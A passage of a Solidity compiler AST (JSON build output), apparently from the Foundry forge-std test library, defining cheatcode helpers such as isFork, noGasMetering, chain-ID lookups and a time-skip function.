:"VariableDeclaration","scope":5429,"src":"21800:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5399,"name":"uint256","nodeType":"ElementaryTypeName","src":"21800:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"21799:9:3"},"scope":5537,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":5450,"nodeType":"FunctionDefinition","src":"21999:160:3","nodes":[],"body":{"id":5449,"nodeType":"Block","src":"22061:98:3","nodes":[],"statements":[{"clauses":[{"block":{"id":5441,"nodeType":"Block","src":"22091:38:3","statements":[{"expression":{"id":5439,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5437,"name":"status","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5432,"src":"22105:6:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":5438,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"22114:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"22105:13:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5440,"nodeType":"ExpressionStatement","src":"22105:13:3"}]},"errorName":"","id":5442,"nodeType":"TryCatchClause","src":"22091:38:3"},{"block":{"id":5446,"nodeType":"Block","src":"22151:2:3","statements":[]},"errorName":"","id":5447,"nodeType":"TryCatchClause","parameters":{"id":5445,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5444,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5447,"src":"22137:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5443,"name":"bytes","nodeType":"ElementaryTypeName","src":"22137:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"22136:14:3"},"src":"22130:23:3"}],"externalCall":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5434,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"22075:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5435,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"22078:10:3","memberName":"activeFork","nodeType":"MemberAccess","referencedDeclaration":15107,"src":"22075:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":5436,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22075:15:3","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5448,"nodeType":"TryStatement","src":"22071:82:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"isFork","nameLocation":"22008:6:3","parameters":{"id":5430,"nodeType":"ParameterList","parameters":[],"src":"22014:2:3"},"returnParameters":{"id":5433,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5432,"mutability":"mutable","name":"status","nameLocation":"22053:6:3","nodeType":"VariableDeclaration","scope":5450,"src":"22048:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":5431,"name":"bool","nodeType":"ElementaryTypeName","src":"22048:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22047:13:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":5459,"nodeType":"ModifierDefinition","src":"22165:84:3","nodes":[],"body":{"id":5458,"nodeType":"Block","src":"22192:57:3","nodes":[],"statements":[{"condition":{"id":5454,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"22206:9:3","subExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":5452,"name":"isFork","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5450,"src":"22207:6:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bool_$","typeString":"function () view returns (bool)"}},"id":5453,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22207:8:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5457,"nodeType":"IfStatement","src":"22202:41:3","trueBody":{"id":5456,"nodeType":"Block","src":"22217:26:3","statements":[{"id":5455,"nodeType":"PlaceholderStatement","src":"22231:1:3"}]}}]},"name":"skipWhenForking","nameLocation":"22174:15:3","parameters":{"id":5451,"nodeType":"ParameterList","parameters":[],"src":"22189:2:3"},"virtual":false,"visibility":"internal"},{"id":5467,"nodeType":"ModifierDefinition","src":"22255:86:3","nodes":[],"body":{"id":5466,"nodeType":"Block","src":"22285:56:3","nodes":[],"statements":[{"condition":{"arguments":[],"expression":{"argumentTypes":[],"id":5461,"name":"isFork","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5450,"src":"22299:6:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bool_$","typeString":"function () view returns (bool)"}},"id":5462,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22299:8:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5465,"nodeType":"IfStatement","src":"22295:40:3","trueBody":{"id":5464,"nodeType":"Block","src":"22309:26:3","statements":[{"id":5463,"nodeType":"PlaceholderStatement","src":"22323:1:3"}]}}]},"name":"skipWhenNotForking","nameLocation":"22264:18:3","parameters":{"id":5460,"nodeType":"ParameterList","parameters":[],"src":"22282:2:3"},"virtual":false,"visibility":"internal"},{"id":5497,"nodeType":"ModifierDefinition","src":"22347:884:3","nodes":[],"body":{"id":5496,"nodeType":"Block","src":"22372:859:3","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5469,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"22382:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5471,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"22385:16:3","memberName":"pauseGasMetering","nodeType":"MemberAccess","referencedDeclaration":12609,"src":"22382:19:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":5472,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22382:21:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5473,"nodeType":"ExpressionStatement","src":"22382:21:3"},{"assignments":[5475],"declarations":[{"constant":false,"id":5475,"mutability":"mutable","name":"gasStartedOff","nameLocation":"22946:13:3","nodeType":"VariableDeclaration","scope":5496,"src":"22941:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":5474,"name":"bool","nodeType":"ElementaryTypeName","src":"22941:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":5477,"initialValue":{"id":5476,"name":"gasMeteringOff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3509,"src":"22962:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"VariableDeclarationStatement","src":"22941:35:3"},{"expression":{"id":5480,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5478,"name":"gasMeteringOff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3509,"src":"22986:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":5479,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"23003:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"22986:21:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5481,"nodeType":"ExpressionStatement","src":"22986:21:3"},{"id":5482,"nodeType":"PlaceholderStatement","src":"23018:1:3"},{"condition":{"id":5484,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"23126:14:3","subExpression":{"id":5483,"name":"gasStartedOff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5475,"src":"23127:13:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5495,"nodeType":"IfStatement","src":"23122:103:3","trueBody":{"id":5494,"nodeType":"Block","src":"23142:83:3","statements":[{"expression":{"id":5487,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5485,"name":"gasMeteringOff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3509,"src":"23156:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"66616c7365","id":5486,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"23173:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"23156:22:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5488,"nodeType":"ExpressionStatement","src":"23156:22:3"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5489,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"23192:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5491,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"23195:17:3","memberName":"resumeGasMetering","nodeType":"MemberAccess","referencedDeclaration":12621,"src":"23192:20:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":5492,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23192:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5493,"nodeType":"ExpressionStatement","src":"23192:22:3"}]}}]},"name":"noGasMetering","nameLocation":"22356:13:3","parameters":{"id":5468,"nodeType":"ParameterList","parameters":[],"src":"22369:2:3"},"virtual":false,"visibility":"internal"},{"id":5509,"nodeType":"FunctionDefinition","src":"23595:276:3","nodes":[],"body":{"id":5508,"nodeType":"Block","src":"23658:213:3","nodes":[],"statements":[{"AST":{"nativeSrc":"23753:44:3","nodeType":"YulBlock","src":"23753:44:3","statements":[{"nativeSrc":"23767:20:3","nodeType":"YulAssignment","src":"23767:20:3","value":{"arguments":[],"functionName":{"name":"chainid","nativeSrc":"23778:7:3","nodeType":"YulIdentifier","src":"23778:7:3"},"nativeSrc":"23778:9:3","nodeType":"YulFunctionCall","src":"23778:9:3"},"variableNames":[{"name":"chainId","nativeSrc":"23767:7:3","nodeType":"YulIdentifier","src":"23767:7:3"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":5500,"isOffset":false,"isSlot":false,"src":"23767:7:3","valueSize":1}],"id":5502,"nodeType":"InlineAssembly","src":"23744:53:3"},{"expression":{"arguments":[{"id":5505,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"23815:4:3","typeDescriptions":{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_StdCheatsSafe_$5537","typeString":"contract StdCheatsSafe"}],"id":5504,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"23807:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5503,"name":"address","nodeType":"ElementaryTypeName","src":"23807:7:3","typeDescriptions":{}}},"id":5506,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23807:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5507,"nodeType":"ExpressionStatement","src":"23807:13:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_viewChainId","nameLocation":"23604:12:3","parameters":{"id":5498,"nodeType":"ParameterList","parameters":[],"src":"23616:2:3"},"returnParameters":{"id":5501,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5500,"mutability":"mutable","name":"chainId","nameLocation":"23649:7:3","nodeType":"VariableDeclaration","scope":5509,"src":"23641:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5499,"name":"uint256","nodeType":"ElementaryTypeName","src":"23641:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23640:17:3"},"scope":5537,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":5536,"nodeType":"FunctionDefinition","src":"23877:300:3","nodes":[],"body":{"id":5535,"nodeType":"Block","src":"23940:237:3","nodes":[],"statements":[{"assignments":[5519],"declarations":[{"constant":false,"id":5519,"mutability":"mutable","name":"fnIn","nameLocation":"23993:4:3","nodeType":"VariableDeclaration","scope":5535,"src":"23950:47:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"},"typeName":{"id":5518,"nodeType":"FunctionTypeName","parameterTypes":{"id":5514,"nodeType":"ParameterList","parameters":[],"src":"23958:2:3"},"returnParameterTypes":{"id":5517,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5516,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5518,"src":"23984:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5515,"name":"uint256","nodeType":"ElementaryTypeName","src":"23984:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23983:9:3"},"src":"23950:47:3","stateMutability":"view","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"},"visibility":"internal"},"visibility":"internal"}],"id":5521,"initialValue":{"id":5520,"name":"_viewChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5509,"src":"24000:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"}},"nodeType":"VariableDeclarationStatement","src":"23950:62:3"},{"assignments":[5527],"declarations":[{"constant":false,"id":5527,"mutability":"mutable","name":"pureChainId","nameLocation":"24065:11:3","nodeType":"VariableDeclaration","scope":5535,"src":"24022:54:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"},"typeName":{"id":5526,"nodeType":"FunctionTypeName","parameterTypes":{"id":5522,"nodeType":"ParameterList","parameters":[],"src":"24030:2:3"},"returnParameterTypes":{"id":5525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5524,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5526,"src":"24056:7:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5523,"name":"uint256","nodeType":"ElementaryTypeName","src":"24056:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24055:9:3"},"src":"24022:54:3","stateMutability":"pure","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"},"visibility":"internal"},"visibility":"internal"}],"id":5528,"nodeType":"VariableDeclarationStatement","src":"24022:54:3"},{"AST":{"nativeSrc":"24095:43:3","nodeType":"YulBlock","src":"24095:43:3","statements":[{"nativeSrc":"24109:19:3","nodeType":"YulAssignment","src":"24109:19:3","value":{"name":"fnIn","nativeSrc":"24124:4:3","nodeType":"YulIdentifier","src":"24124:4:3"},"variableNames":[{"name":"pureChainId","nativeSrc":"24109:11:3","nodeType":"YulIdentifier","src":"24109:11:3"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":5519,"isOffset":false,"isSlot":false,"src":"24124:4:3","valueSize":1},{"declaration":5527,"isOffset":false,"isSlot":false,"src":"24109:11:3","valueSize":1}],"id":5529,"nodeType":"InlineAssembly","src":"24086:52:3"},{"expression":{"id":5533,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5530,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5512,"src":"24147:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":5531,"name":"pureChainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5527,"src":"24157:11:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$__$returns$_t_uint256_$","typeString":"function () pure returns (uint256)"}},"id":5532,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24157:13:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"24147:23:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5534,"nodeType":"ExpressionStatement","src":"24147:23:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_pureChainId","nameLocation":"23886:12:3","parameters":{"id":5510,"nodeType":"ParameterList","parameters":[],"src":"23898:2:3"},"returnParameters":{"id":5513,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5512,"mutability":"mutable","name":"chainId","nameLocation":"23931:7:3","nodeType":"VariableDeclaration","scope":5536,"src":"23923:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5511,"name":"uint256","nodeType":"ElementaryTypeName","src":"23923:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23922:17:3"},"scope":5537,"stateMutability":"pure","virtual":false,"visibility":"private"}],"abstract":true,"baseContracts":[],"canonicalName":"StdCheatsSafe","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[5537],"name":"StdCheatsSafe","nameLocation":"246:13:3","scope":6331,"usedErrors":[],"usedEvents":[]},{"id":6330,"nodeType":"ContractDefinition","src":"24229:7244:3","nodes":[{"id":5543,"nodeType":"UsingForDirective","src":"24280:32:3","nodes":[],"global":false,"libraryName":{"id":5540,"name":"stdStorage","nameLocations":["24286:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":9386,"src":"24286:10:3"},"typeName":{"id":5542,"nodeType":"UserDefinedTypeName","pathNode":{"id":5541,"name":"StdStorage","nameLocations":["24301:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"24301:10:3"},"referencedDeclaration":7427,"src":"24301:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}}},{"id":5546,"nodeType":"VariableDeclaration","src":"24318:27:3","nodes":[],"constant":false,"mutability":"mutable","name":"stdstore","nameLocation":"24337:8:3","scope":6330,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage"},"typeName":{"id":5545,"nodeType":"UserDefinedTypeName","pathNode":{"id":5544,"name":"StdStorage","nameLocations":["24318:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"24318:10:3"},"referencedDeclaration":7427,"src":"24318:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"private"},{"id":5563,"nodeType":"VariableDeclaration","src":"24351:84:3","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"24371:2:3","scope":6330,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":5548,"nodeType":"UserDefinedTypeName","pathNode":{"id":5547,"name":"Vm","nameLocations":["24351:2:3"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"24351:2:3"},"referencedDeclaration":15673,"src":"24351:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":5557,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24413:17:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":5556,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"24403:9:3","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":5558,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24403:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":5555,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"24395:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5554,"name":"uint256","nodeType":"ElementaryTypeName","src":"24395:7:3","typeDescriptions":{}}},"id":5559,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24395:37:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":5553,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"24387:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":5552,"name":"uint160","nodeType":"ElementaryTypeName","src":"24387:7:3","typeDescriptions":{}}},"id":5560,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24387:46:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":5551,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"24379:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5550,"name":"address","nodeType":"ElementaryTypeName","src":"24379:7:3","typeDescriptions":{}}},"id":5561,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24379:55:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":5549,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"24376:2:3","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":5562,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24376:59:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":5566,"nodeType":"VariableDeclaration","src":"24441:86:3","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE2_ADDRESS","nameLocation":"24466:16:3","scope":6330,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5564,"name":"address","nodeType":"ElementaryTypeName","src":"24441:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":5565,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"24485:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"},"visibility":"private"},{"id":5581,"nodeType":"FunctionDefinition","src":"24604:93:3","nodes":[],"body":{"id":5580,"nodeType":"Block","src":"24649:48:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5577,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":5574,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"24667:5:3","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":5575,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24673:9:3","memberName":"timestamp","nodeType":"MemberAccess","src":"24667:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":5576,"name":"time","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5568,"src":"24685:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"24667:22:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5571,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"24659:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"24662:4:3","memberName":"warp","nodeType":"MemberAccess","referencedDeclaration":15502,"src":"24659:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":5578,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24659:31:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5579,"nodeType":"ExpressionStatement","src":"24659:31:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"skip","nameLocation":"24613:4:3","parameters":{"id":5569,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5568,"mutability":"mutable","name":"time","nameLocation":"24626:4:3","nodeType":"VariableDeclaration","scope":5581,"src":"24618:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5567,"name":"uint256","nodeType":"ElementaryTypeName","src":"24618:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24617:14:3"},"returnParameters":{"id":5570,"nodeType":"ParameterList","parameters":[],"src":"24649:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5596,"nodeType":"FunctionDefinition","src":"24703:95:3","nodes":[],"body":{"id":5595,"nodeType":"Block","src":"24750:48:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5592,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":5589,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"24768:5:3","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block